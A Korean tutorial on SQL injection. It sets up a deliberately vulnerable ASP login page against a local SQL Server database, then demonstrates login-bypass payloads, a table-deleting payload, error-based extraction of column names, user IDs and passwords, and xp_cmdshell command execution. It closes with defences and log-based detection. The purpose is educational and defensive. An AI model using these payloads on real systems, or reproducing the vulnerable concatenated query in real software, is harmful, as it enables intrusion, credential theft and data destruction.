▶ ▶ ▶ ▶ ▶ ▶ ▶ SQL INJECTION ◀ ◀ ◀ ◀ ◀ ◀ ◀
꽤 오랜 기간 이어져온 이슈였지만 여전히 그 피해사례의 심각성 및 중요성에 비해
간과되어왔던 부분 중 대표적인 것이 SQL Injection 일 것이다.
많은 응용프로그램에서 개발자의 보안마인드 부족과 결과위주의 접근, 지식의 부재 등
여러 이유로 인해 SQL Injection 공격에 취약성이 발견된다.
실제로 현존하는 여러 웹사이트에서 단순한 공격이 성공하고 있다.
특히 SQL Injection 공격은 특별히 보안(해킹)관련 지식이 풍부하지 않아도 간단히
수행할 수 있는 공격방법이라서 그 위험성은 아주 크다고 볼 수 있다.
지금부터 SQL Injection 의 여러 공격방법들을 살펴보고 그 심각성을 직접 느껴 본 뒤
적절한 대응책에 대해 알아 본다.
☞ 테스트를 위한 환경설정
1. 회원가입을 처리하는 ASP 페이지를 아래와 같이 만들고 웹 서버에 등록시킨다
- LoginForm.asp -
<html>
<head>
<title>SQLInjection Demo</title>
<script language="javascript">
function CheckForm(){
form = document.LoginForm;
if(form.MemberID.value.length < 1 ){
alert("아이디 입력하쇼");
form.MemberID.focus();
return false;
}
if(form.Password.value.length < 1 ){
alert("비밀번호 입력하쇼");
form.Password.focus();
return false;
}
return true;
}
</script>
</head>
<body>
<form name="LoginForm" method="post" action="LoginOK.asp" onSubmit="return CheckForm();">
<table border=1 width=500>
<tr>
<td width=100>아이디</td>
<td>
<input type="text" name="MemberID" size="15">
</td>
</tr>
<tr>
<td>비밀번호</td>
<td>
<input type="text" name="Password" size="40">
</td>
</tr>
<tr align=center>
<td colspan="2">
<input type="submit" value=" 로그인 ">
</td>
</tr>
</table>
</form>
</body>
</html>
- LoginOK.asp -
<script language="javascript">
function Error(){
alert("계정이 다르거나 비밀번호가 다릅니다\n확인후 다시 시도해 주세용~");
history.back(-1);
}
</script>
<%
MemberID = Request("MemberID")
Password = Request("Password")
strConnect="Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Initial Catalog=SQLInjection;Data Source=(local);Password=1111;"
set conn = server.createobject("adodb.connection")
conn.open strConnect
SQL = "Select * From Tbl_Members Where MemberID = '"& MemberID &"' And Password = '" & Password & "'"
'SQL = "Select Age From Tbl_Members Where MemberID = '" & MemberID & "'"
Response.Write SQL
'Response.ENd
Set Rs = conn.Execute(SQL)
IF Not Rs.EOF Then '로그인이 성공하면 마이페이지로 보낸다
Session("MemberID") = Rs(0)
Response.Redirect "MyPage.asp"
ELSE '로그인이 실패하면 이전페이지로 다시 보낸다
Response.Write("<script language='javascript'>Error();</script>")
END IF
Rs.close
Set Rs = Nothing
conn.close
set conn = nothing
%> |
2. 데이터베이스와 테이블을 생성한다
- SQLInjection 이라는 이름의 데이터베이스 생성
- Tbl_Members 라는 테이블 생성
Tbl_Members 테이블 스키마
MemberID varchar 20 0
Password varchar 20 0
Name varchar 50 0
Age int 4 0 |
아래와 같이 데이터를 삽입해 둔다
admin haha 관리자 30
test kaka 테스트맨 31
babo huk 바보 32 |
이렇게 asp와 데이터베이스의 셋팅을 하고 공격유형을 하나하나 살펴보자.
☞ 공격1> 전형적인 공격방법
1. 관리자 계정을 알아낸다
(물론 꼭 관리자 계정이 아니라도 되지만.. 여하튼 기 등록된 계정을 알아낸다
애인의 계정만 알고 비밀번호를 모를 경우 애인 계정으로 해봐도 되겠정 ^^;)
- 회원가입시 제공되는 회원ID 중복 체크에서 관리계정으로 추정되는
(예: admin, master, administrator, 사이트도메인명 등) ID 를 알아 낸다
2. 전형적인 홑따옴표와 sql주석문 삽입으로 관리계정으로 로그인 시도한다
응용프로그램의 동적쿼리 예시 :
셋팅한 asp파일(LoginOK.asp) 로그인시 아이디와 패스워드를 검증하는
쿼리가 아래와 같았다.
(아직까지 많은 응용프로그램에서 아래와 같은 쿼리가 사용되어 지고 있다)
SQL = "Select * From Tbl_Members
Where MemberID = '"&MemberID &"' And Password = '" & Password & "'"
사례1> 아이디 입력란에 ‘(홑따옴표) 와 주석 삽입으로 불벌 로그인 시도
삽입값 : admin’--
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin'--' And Password = '아무거나'
결과 :
비밀번호를 검증하는 부분을 sql 주석으로 만들어 버렸다.
admin 이라는 id가 존재하기 때문에 위 쿼리는 정상실행되고 불법사용자는
admin으로 로그인 하게 된다.
사례2>비밀번호 입력란에‘(홑따옴표)와 or 조건 및 주석문 삽입으로 역시 불법 로그인 시도
삽입값 : ' or 1=1;--
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin' And Password = '' or 1=1;--'
결과 :
비밀번호를 검증하는 부분에 1=1 이라는 항상 참인 조건을 or 조건으로 삽입했다.
역시 admin으로 로그인이 성공하게 된다.
사례3>> 아이디 컬럼명을 알고 있을 경우 불법 로그인 성공(충분히 알 방법이 있습니다)
삽입값 : 1’ or MemberID=’admin
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin' And Password = '1'
or MemberID='admin'
결과 :
역시나 or 조건이 참이므로 admin으로 로그인이 성공하게 된다.
사례4> 회원테이블 명을 알고 있을 경우 회원테이블 삭제를 시도한다(아주 치명적입니다)
삽입값 : ' or 1=1;Delete From Tbl_Members--
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin' And Password = '' or 1=1;
Delete From Test-- '
결과 :
회원테이블의 삭제를 시도 합니다. 보통 로그인을 처리하는 데이터베이스 계정은
회원테이블의 삭제 권한이 있지요.. 따라서 아주 자~알 삭제됩니다
위 방법은 아주 SQL Injection 의 아주 보편적이고 전형적인 방법들입니다.
이외에도 무수히 많은 형태의 조합이 나오겠지요..(조금만 생각해보면 아주 많죠)
정말 큰일이 아닐 수 없네요..
다음으론 의도적인 SQL 오류를 발생시켜서 데이터베이스의 유용한 정보들을
깨내는 데모를 보여드리겠습니다
☞ 공격2> 의도적인 에러유발 후 데이터베이스 정보 유출 시도
사례1> 컬럼명 알아내기
로그인 폼을 소스보기 하면 MemberID 텍스트 박스의 name 정보를 알수 있습니다.
이것을 활용해 회원테이블의 패스워드 컬럼명을 알아내 봅시다
아래와 같은 url로 IE에서 바로 접근한다
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=아무거나'
IE 는 친절하게도 아래와 같은 아주 친절한(?) 오류메세지를 보여줍니다
Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'아무거나' And Password = '' 문자열 앞에 닫히지 않은 인용 부호가 있습니다.
/SQLInjection/LoginOK.asp, 줄 20 |
결과 : 위 오류메세지로 인해 비밀번호 컬럼명이 Password 란 것을 알 수 있습니다.
사례2> 테이블 명 알아내기
알아낸 패스워드 컬럼을 그룹핑 합니다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=아무거나'
group by (Password) --
역시 ie는 친절하게도 아래와 같은 오류 메시지를 보여줍니다
Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.MemberID' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
/SQLInjection/LoginOK.asp, 줄 20 |
결과 :
여기서 우리는 회원테이블명이 Tbl_Members 라는 것을 알수 있습니다
(덤으로 컬럼명도 하나더 얻었네요 ^^)
추가적으로 다른 컬럼들도 알아내 봅시다.
이미 알아낸 MemberID,Password 컬럼을 group by함으로써 또 다른 컬럼명을
얻을 수 있습니다. ( group by (Password),(MemberID) )
이 방법으로 모든 컬럼을 알 수 있습니다.(암울 하지요 -.-)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=아무거나' group by (Password) , (MemberID) --
Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.Name' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
/SQLInjection/LoginOK.asp, 줄 20 |
또 다른 컬럼명(Name)를 알수 있지요..
이런식으로 계속 해 나가면 Tbl_Member 테이블에 모든 컬럼을 알 수 있게 됩니다
사례3> 특정 테이블 컬럼의 데이터타입 알아내기
위에서 알아낸 테이블 컬럼명을 사용해서 타입이 다르도록 유도하여 UNION을 시킵니다.
(공격자는 시간이 아주 많고 끈기도 강합니다. 무수한 조합이라도 무수히 시도합니다)
마침 아래에 Age 필드를 맨 앞으로 놓으니깐 아래과 같은 오류가 납니다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --
이랬더니 아래와 같은 오류가 나옵니다
Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar 값 'admin'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/SQLInjection/LoginOK.asp, 줄 20 |
결과
즉 회원테이블의 MemberID컬럼의 타입이 varchar이란 것을 알게 되었습니다.
(아무것도 아니죠?? 이미~~ 예상했던 타입입니다.. 만 공격자들은 이런곳에서도
희열을 느낍니다. 음.. 사실 저도 테스트 중에 많은 희열을 느낍니다 ^^;)
내부적으로 실행된 코드는 아래와 같겠죠..
Select * From Tbl_Members Where MemberID = 'admin'
UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --' And Password = ''
여기까지만 해도 회원테이블의 테이블명, 컬럼명, 컬럼의 데이터 타입의 정보를
모두 캐낼 수 있습니다.
☞ 공격2> 회원아이디 및 비밀번호 알아내기
(아주 흥미로운 결과를 알 수 있습니다)
위에서 회원가입폼에서 아이디중복확인 이라는 곳에서 존재하는 아이디를
알 수 있다고 했습니다
그러나 이 방법은 좀 무식하지요.. (회원아이디를 모르는 상태에서 무작위로 검사를 하니깐)
우리는 이미 회원테이블의 많은 것(?)을 알고 있는 상태입니다.
굳이 아이디중복확인 이라는 방법을 사용할 필요가 없습니다
가정을 하나 해보겠습니다.
만일 서버에 아래와 같은 동적 쿼리가 있다고 칩시다.
SQL = “Select Age From Tbl_Members Where MemberID = ‘” & MemberID & "'"
회원아이디를 입력 받아서 나이를 돌려받는 쿼리 입니다.
물론 위와 같은 동적쿼리가 서버에 있다는 보장은 없습니다.
그러나 굳이 찾으려고만 든다면 찾을 수 있습니다.
중요한 것은 위 쿼리처럼 varchar(nvarchar) 이 아닌 컬럼(위에서는 Age)을 돌려주는
쿼리를 찾으면 됩니다(예상 가능한 항목이 많지요..^^)
여하튼 위와 같은 쿼리가 있구요…
보통 회원아이디와 비밀번호는 스트링형태로 저장됩니다.
따라서 varchar 이나 nvarchar 일 가능성이 큽니다.
사례1> 회원테이블에서 모든 회원 아이디 얻기
Age 컬럼과 MembeID 컬럼을 UNION 함으로써 회원테이블의 첫번째 회원의
아이디를 알아 봅시다.
위에서 이미 알아본 방식입니다만, 다시 언급합니다.
공격방법>
아래와 같이 웹브라우저에서 바로 접근
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members --
실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members --'
- 오류메세지 -
Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar 값 'admin'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/SQLInjection/LoginOK.asp, 줄 20 |
결과 :
짜~~잔…
여기서 우리는 회원테이블에 첫번째로 저장된 회원id가 admin 임을 알아 냈습니다.
좀더 해볼까요… (모든 회원아이디를 다 알아봅시다)
admiin 을 알아냈으니 두번째로 저장된 id를 알아 봅시다
아래와 같이 실행 합니다(admin 아이디를 제외한 아이디란 말이죠)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin') --
실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin') --'
- 오류메세지 -
Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar 값 'test'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/SQLInjection/LoginOK.asp, 줄 20 |
결과 : 두번째 아이디는 test 이군요..
재밌지요?? 한번만 더 해봅시다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin','test') --
실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin',’test’) --'
- 오류메세지 -
Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar 값 'babo'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/SQLInjection/LoginOK.asp, 줄 20 |
결과 : 세번째 아이디는 babo 군요.. 캬캬..
이런식으로 계속 시도하면 회원테이블의 아이디를 모두 알 수 있겠죠..
자.. 그럼 아이디는 이제 그만 하구요.. 핵심.. 비밀번호를 알아봅니다
사례2> 특정 회원의 비밀번호 알아내기
이제 아이디를 많이 알아냈으니 그 아이디들의 비밀번호를 알아볼 차례입니다.
아래와 같이 실행합니다
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'admin' --
실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'admin' --'
- 오류메세지 -
Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar 값 'haha'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/SQLInjection/LoginOK.asp, 줄 20 |
결과 :
드뎌 나왔습니다. 너무나도 친절하게도
admin 의 비밀번호는 haha 라고 ie는 말해 줍니다… 아.. 신이시여..
이 희열.. 이 감동.. 난 해커야.. 캬캬
그럼 babo 이놈의 비밀번호는 뭘까? 궁금해 집니다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'babo' --
- 오류메세지 -
Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar 값 'huk'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
/SQLInjection/LoginOK.asp, 줄 20 |
결과 : 캬캬.. huk 라는 비밀번호를 쓰는군요 (역시 babo 스럽습니다..)
이렇게 하여 우리는 회원테이블에 모든 아이디와 비밀번호를 알 수가 있었습니다.
중간 점검 :
사용자 입력값의 검증 못지않게 웹서버의 에러페이지에 관한 핸들링도 상당히
중요합니다, 기본적으로 에러페이지는 커스텀에러페이지를 따로 만들어 사용합시다
공격4> 시스템 명령어 실행
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin'; EXEC master.dbo.xp_cmdshell' cmd.exe dir c:'--
MSSQL 내장프로시저 xp_cmdshell 을 이용하여 웹서버의 C디렉터리 정보를
캐내려 합니다.(시스템 명령 실행 가능)
이와 같은 내장 프로시저는 아주 많지요..
ex: xp_grantlogin(로그인 권한 승인) , xp_regdeletekey (레지스트리 키 삭제) 등등..
이로써 아주 쉽고도 강력한 공격방법들을 알아 보았습니다
생각하면 할수록 새로운 방법들이 새록새록 나올 것입니다.
SQL Injection 은 쉬운 공격에 반해 그 피해는 아주 크다고 볼 수 있습니다.
그럼.. 본 글을 핵심!!
SQL Injection 의 완벽 대응책을 알려 드립니다
☞ SQL INJECTION 의 대응책
* 인젝션 공격의 취약성
원인 : 사용자의 입력값을 검증하지 않음
위험요소 : 동적쿼리, 사용자 입력값을 파라메타로 넘겨받는 저장 프로시저
공격유형
1. 불법 로그인 시도
2. 고의적 에러발생 : 데이터베이스 조회(db,table,column명, 타입등) 후 공격
3. 시스템 명령어 삽입
4. 계정/비밀번호 확인
5. 위험쿼리 실행(DROP,DELETE,UPDATE 등)
6. 기타 등등
* 공격 대응책
1. 사용자의 입력값을 받아서 동적쿼리나 저장프로시저를 실행하는 곳이 있다면
반드시 그 입력값을 검증하라.
위험요소가 있는 입력값은 아래와 같습니다.
‘ (홑따옴표) , -- (sql주석) , ;(sql명령구분자) , “(쌍따옴표), =
이런 값들은 원천적으로 봉쇄해버리는 것이 좋습니다
2. 서비스 SQL 계정의 권한을 최소한으로 하라.
SQL 계정의 권한이 막강하다면 시스템명령어 수행, DROP, Delete 등 수행가능
또한 Select 권한과 update/delete/insert 권한을 따로 둔다.
3. 웹페이지의 오류정보는 숨겨라.
의도적인 sql구문 오류를 유발하여 에러메시지를 보고자 하는 공격에 대비하여
커스텀 오류페이지를 따로 만들어서 최소한의 정보만 보여주는 것이 좋습니다.
(ASP.NET에서는 관리자만 볼수 있는 오류페이지와 일반 사용자가 볼수 있는
오류 페이지를 따로 구분할수 있는 XML기반의 설정파일이 제공됩니다.
이 역시 이런류의 문제점을 방지하고자 MS에서 제공하는 것이겠지요??)
ASP든 PHP 든 JSP 는 커스텀 오류페이지를 나타나게 할 수 있습니다.
( 다 알지요?)
4. 또.. 뭐가 있을까요…
음.. 만에 하나를 대비하는 DB백업.
뭐.. 다들 고민 해 봅시다.
* SQL Injection 공격하는 놈 찾아내기
위의 공격방법 중 의도적인 오류를 발생하는 부분이 있었습니다.
이 경우 웹서버는 이런 오류를 500 (서버오류) 로 나타냅니다.
즉 500 오류에 대한 로그를 확인해서 특별히 오류가 나타날 소지가 없는
페이지에서 계속적으로 500 오류가 난다면 우선 의심해 봐야 합니다.
또한 동일한 페이지를 계속적으로 로딩하는 놈이 있다면 역시 의심대상입니다.
SQL Injection 은 여러 번 시도해봐야 유용한 정보를 캐낼 수 있습니다
따라서 동일한 페이지를 계속 호출하는 클라이언트가 있다면 응징의 대상일
가능성이 높습니다.
웹서버를 운영하는 회사에서는 될 수 있으면 많은 로그를 남기는게 보안상 좋습니다.
또한 로그파일의 주기적인 점검 또한 수반되어야 겠지요..
당신이 프로그래머라면 로그파일을 자동으로 분석해 SQL Injection 공격을
찾아내는 좋은 프로그램을 개발 할 수도 있을 것입니다